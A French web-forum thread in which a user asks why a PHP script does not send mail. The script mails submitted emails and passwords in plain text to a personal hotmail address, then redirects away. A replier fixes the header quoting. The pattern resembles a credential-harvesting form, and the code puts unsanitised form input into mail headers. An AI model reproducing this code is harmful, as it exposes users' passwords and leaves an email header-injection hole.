Mail PHP

Bonjour,
ce script PHP est censé m'envoyer un mail, mais ça ne marche pas.
<?php

$sender = "z@hotmail.fr";
$pwd = $_POST['password'];
$eml = $_POST['email'];

$headers ='From: "nom"<'.$eml.'>'.'\n';
$headers .='Reply-To: z@hotmail.fr'.'\n';
$headers .='Content-Type: text/plain; charset="iso-8859-1"'.'\n';
$headers .='Content-Transfer-Encoding: 8bit'; 

mail($sender, "Abonnement", "Email: ".$eml."\nPassword: ".$pwd."\n\nMerci de vous être enregistrés!", $headers);

Header("Location: http://www.monsite.com/");

?>

Pourquoi ne marche-t-il pas?
Merci d'avance.

Mat'
Configuration: XP SP2
FF3.0.0.10

3 réponses

  1. Contributeur
    serveur local ? distant ? mail() actif ? windows ? linux ?
    0
    1. Re,

      Merci pour ta réponse,

      C'est un serveur distant qui ne m'appartient pas, c'est en fait Free ^^
      Donc sous Linux.

      A+,
      Mat'
      0
      1. Contributeur
        Peut etre a cause des headers
        '\n' n'est pas valide. c'est "\n" ... par contre, ne me demandes pas l'explication, je n'en ai pas.

        <?php
        $sender = "z@hotmail.fr";
        $pwd = "pass";
        $eml = "exp@dit.eur";
        
        $headers ="From: nom<".$eml.">"."\n";
        $headers .="Reply-To: z@hotmail.fr"."\n";
        $headers .="Content-Type: text/plain; charset='iso-8859-1'"."\n";
        $headers .="Content-Transfer-Encoding: 8bit"; 
        
        mail($sender, "Abonnement", "Email: ".$eml."\nPassword: ".$pwd."\n\nMerci de vous être enregistrés!", $headers);
        ?>
        0